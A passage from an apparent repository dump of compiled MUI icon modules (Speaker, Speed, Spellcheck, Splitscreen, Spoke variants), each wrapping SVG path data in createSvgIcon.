    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2H5v19.99h14zm-7 2c1.1 0 2 .9 2 2s-.9 2-2 2c-1.11 0-2-.9-2-2s.89-2 2-2m0 16c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'SpeakerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 4v16h10V4zm5 1c1.1 0 2 .9 2 2s-.9 2-2 2c-1.11 0-2-.9-2-2s.89-2 2-2m0 14c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v16c0 1.1.9 1.99 2 1.99L17 22c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M7 20V4h10v16zm5-11c1.1 0 2-.9 2-2s-.9-2-2-2c-1.11 0-2 .9-2 2s.89 2 2 2m0 2c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'SpeakerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 4v16h10V4zm5 1c1.1 0 2 .9 2 2s-.9 2-2 2c-1.11 0-2-.9-2-2s.89-2 2-2m0 14c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v16c0 1.1.9 1.99 2 1.99L17 22c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M7 20V4h10v16zm5-11c1.1 0 2-.9 2-2s-.9-2-2-2c-1.11 0-2 .9-2 2s.89 2 2 2m0 2c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'SpeakerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Speed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.38 8.57-1.23 1.85a8 8 0 0 1-.22 7.58H5.07A8 8 0 0 1 15.58 6.85l1.85-1.23A10 10 0 0 0 3.35 19a2 2 0 0 0 1.72 1h13.85a2 2 0 0 0 1.74-1 10 10 0 0 0-.27-10.44zm-9.79 6.84a2 2 0 0 0 2.83 0l5.66-8.49-8.49 5.66a2 2 0 0 0 0 2.83\"\n}), 'Speed');"
  },
  {
    "path": "packages/mui-icons-material/lib/Speed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.38 8.57-1.23 1.85a8 8 0 0 1-.22 7.58H5.07A8 8 0 0 1 15.58 6.85l1.85-1.23A10 10 0 0 0 3.35 19a2 2 0 0 0 1.72 1h13.85a2 2 0 0 0 1.74-1 10 10 0 0 0-.27-10.44zm-9.79 6.84a2 2 0 0 0 2.83 0l5.66-8.49-8.49 5.66a2 2 0 0 0 0 2.83\"\n}), 'Speed');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.38 8.57-1.23 1.85a8 8 0 0 1-.22 7.58H5.07A8 8 0 0 1 15.58 6.85l1.85-1.23A10 10 0 0 0 3.35 19a2 2 0 0 0 1.72 1h13.85a2 2 0 0 0 1.74-1 10 10 0 0 0-.27-10.44z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.59 15.41a2 2 0 0 0 2.83 0l5.66-8.49-8.49 5.66a2 2 0 0 0 0 2.83\"\n}, \"1\")], 'SpeedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.38 8.57-1.23 1.85a8 8 0 0 1-.22 7.58H5.07A8 8 0 0 1 15.58 6.85l1.85-1.23A10 10 0 0 0 3.35 19a2 2 0 0 0 1.72 1h13.85a2 2 0 0 0 1.74-1 10 10 0 0 0-.27-10.44z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.59 15.41a2 2 0 0 0 2.83 0l5.66-8.49-8.49 5.66a2 2 0 0 0 0 2.83\"\n}, \"1\")], 'SpeedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.46 10a1 1 0 0 0-.07 1 7.55 7.55 0 0 1 .52 1.81 8 8 0 0 1-.69 4.73 1 1 0 0 1-.89.53H5.68a1 1 0 0 1-.89-.54A8 8 0 0 1 13 6.06a7.69 7.69 0 0 1 2.11.56 1 1 0 0 0 1-.07 1 1 0 0 0-.17-1.76A10 10 0 0 0 3.35 19a2 2 0 0 0 1.72 1h13.85a2 2 0 0 0 1.74-1 10 10 0 0 0 .55-8.89 1 1 0 0 0-1.75-.11\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.59 12.59a2 2 0 0 0 2.83 2.83l5.66-8.49z\"\n}, \"1\")], 'SpeedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.46 10a1 1 0 0 0-.07 1 7.55 7.55 0 0 1 .52 1.81 8 8 0 0 1-.69 4.73 1 1 0 0 1-.89.53H5.68a1 1 0 0 1-.89-.54A8 8 0 0 1 13 6.06a7.69 7.69 0 0 1 2.11.56 1 1 0 0 0 1-.07 1 1 0 0 0-.17-1.76A10 10 0 0 0 3.35 19a2 2 0 0 0 1.72 1h13.85a2 2 0 0 0 1.74-1 10 10 0 0 0 .55-8.89 1 1 0 0 0-1.75-.11\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.59 12.59a2 2 0 0 0 2.83 2.83l5.66-8.49z\"\n}, \"1\")], 'SpeedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.39 8.56-1.24 1.86a8 8 0 0 1-.22 7.58H5.07A8 8 0 0 1 15.58 6.85l1.86-1.24A10 10 0 0 0 4 20h16a10 10 0 0 0 .38-11.44z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.59 15.41a2 2 0 0 0 2.83 0l5.66-8.49-8.49 5.66a2 2 0 0 0 0 2.83\"\n}, \"1\")], 'SpeedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.39 8.56-1.24 1.86a8 8 0 0 1-.22 7.58H5.07A8 8 0 0 1 15.58 6.85l1.86-1.24A10 10 0 0 0 4 20h16a10 10 0 0 0 .38-11.44z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.59 15.41a2 2 0 0 0 2.83 0l5.66-8.49-8.49 5.66a2 2 0 0 0 0 2.83\"\n}, \"1\")], 'SpeedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.38 8.57-1.23 1.85a8 8 0 0 1-.22 7.58H5.07A8 8 0 0 1 15.58 6.85l1.85-1.23A10 10 0 0 0 3.35 19a2 2 0 0 0 1.72 1h13.85a2 2 0 0 0 1.74-1 10 10 0 0 0-.27-10.44z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.59 15.41a2 2 0 0 0 2.83 0l5.66-8.49-8.49 5.66a2 2 0 0 0 0 2.83\"\n}, \"1\")], 'SpeedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.38 8.57-1.23 1.85a8 8 0 0 1-.22 7.58H5.07A8 8 0 0 1 15.58 6.85l1.85-1.23A10 10 0 0 0 3.35 19a2 2 0 0 0 1.72 1h13.85a2 2 0 0 0 1.74-1 10 10 0 0 0-.27-10.44z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.59 15.41a2 2 0 0 0 2.83 0l5.66-8.49-8.49 5.66a2 2 0 0 0 0 2.83\"\n}, \"1\")], 'SpeedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Spellcheck.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.45 16h2.09L9.43 3H7.57L2.46 16h2.09l1.12-3h5.64zm-6.02-5L8.5 5.48 10.57 11zm15.16.59-8.09 8.09L9.83 16l-1.41 1.41 5.09 5.09L23 13z\"\n}), 'Spellcheck');"
  },
  {
    "path": "packages/mui-icons-material/lib/Spellcheck.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.45 16h2.09L9.43 3H7.57L2.46 16h2.09l1.12-3h5.64zm-6.02-5L8.5 5.48 10.57 11zm15.16.59-8.09 8.09L9.83 16l-1.41 1.41 5.09 5.09L23 13z\"\n}), 'Spellcheck');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpellcheckOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.45 16h2.09L9.43 3H7.57L2.46 16h2.09l1.12-3h5.64zm-6.02-5L8.5 5.48 10.57 11zm15.16.59-8.09 8.09L9.83 16l-1.41 1.41 5.09 5.09L23 13z\"\n}), 'SpellcheckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpellcheckOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.45 16h2.09L9.43 3H7.57L2.46 16h2.09l1.12-3h5.64zm-6.02-5L8.5 5.48 10.57 11zm15.16.59-8.09 8.09L9.83 16l-1.41 1.41 5.09 5.09L23 13z\"\n}), 'SpellcheckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpellcheckRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.12 16c.69 0 1.15-.69.9-1.32L9.77 3.87C9.56 3.34 9.06 3 8.5 3s-1.06.34-1.27.87L2.98 14.68c-.25.63.22 1.32.9 1.32.4 0 .76-.25.91-.63L5.67 13h5.64l.9 2.38c.15.37.51.62.91.62m-6.69-5L8.5 5.48 10.57 11zm14.46 1.29-7.39 7.39-2.97-2.97a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.68 3.68c.39.39 1.02.39 1.41 0l8.08-8.09c.39-.39.39-1.02 0-1.41-.38-.39-1.02-.39-1.4-.01\"\n}), 'SpellcheckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpellcheckRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.12 16c.69 0 1.15-.69.9-1.32L9.77 3.87C9.56 3.34 9.06 3 8.5 3s-1.06.34-1.27.87L2.98 14.68c-.25.63.22 1.32.9 1.32.4 0 .76-.25.91-.63L5.67 13h5.64l.9 2.38c.15.37.51.62.91.62m-6.69-5L8.5 5.48 10.57 11zm14.46 1.29-7.39 7.39-2.97-2.97a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.68 3.68c.39.39 1.02.39 1.41 0l8.08-8.09c.39-.39.39-1.02 0-1.41-.38-.39-1.02-.39-1.4-.01\"\n}), 'SpellcheckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpellcheckSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.45 16h2.09L9.43 3H7.57L2.46 16h2.09l1.12-3h5.64zm-6.02-5L8.5 5.48 10.57 11zm15.16.59-8.09 8.09L9.83 16l-1.41 1.41 5.09 5.09L23 13z\"\n}), 'SpellcheckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpellcheckSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.45 16h2.09L9.43 3H7.57L2.46 16h2.09l1.12-3h5.64zm-6.02-5L8.5 5.48 10.57 11zm15.16.59-8.09 8.09L9.83 16l-1.41 1.41 5.09 5.09L23 13z\"\n}), 'SpellcheckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpellcheckTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.45 16h2.09L9.43 3H7.57L2.46 16h2.09l1.12-3h5.64zm-6.02-5L8.5 5.48 10.57 11zm15.16.59-8.09 8.09L9.83 16l-1.41 1.41 5.09 5.09L23 13z\"\n}), 'SpellcheckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpellcheckTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.45 16h2.09L9.43 3H7.57L2.46 16h2.09l1.12-3h5.64zm-6.02-5L8.5 5.48 10.57 11zm15.16.59-8.09 8.09L9.83 16l-1.41 1.41 5.09 5.09L23 13z\"\n}), 'SpellcheckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Splitscreen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v5H6V4zm0-2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 13v5H6v-5zm0-2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}), 'Splitscreen');"
  },
  {
    "path": "packages/mui-icons-material/lib/Splitscreen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v5H6V4zm0-2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 13v5H6v-5zm0-2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}), 'Splitscreen');"
  },
  {
    "path": "packages/mui-icons-material/lib/SplitscreenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v5H6V4zm0-2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 13v5H6v-5zm0-2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}), 'SplitscreenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SplitscreenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v5H6V4zm0-2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 13v5H6v-5zm0-2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}), 'SplitscreenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SplitscreenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v5H6V4zm0-2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 13v5H6v-5zm0-2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}), 'SplitscreenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SplitscreenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v5H6V4zm0-2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 13v5H6v-5zm0-2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}), 'SplitscreenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SplitscreenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v5H6V4zm2-2H4v9h16zm-2 13v5H6v-5zm2-2H4v9h16z\"\n}), 'SplitscreenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SplitscreenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v5H6V4zm2-2H4v9h16zm-2 13v5H6v-5zm2-2H4v9h16z\"\n}), 'SplitscreenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SplitscreenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 4h12v5H6zm0 11h12v5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 7H6V4h12zm0 4H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2m0 7H6v-5h12z\"\n}, \"1\")], 'SplitscreenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SplitscreenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 4h12v5H6zm0 11h12v5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 7H6V4h12zm0 4H6c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2m0 7H6v-5h12z\"\n}, \"1\")], 'SplitscreenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Spoke.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7c0 2.21-1.79 4-4 4S8 9.21 8 7s1.79-4 4-4 4 1.79 4 4m-9 6c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m10 0c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'Spoke');"
  },
  {
    "path": "packages/mui-icons-material/lib/Spoke.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7c0 2.21-1.79 4-4 4S8 9.21 8 7s1.79-4 4-4 4 1.79 4 4m-9 6c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m10 0c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'Spoke');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpokeOutlined.js",
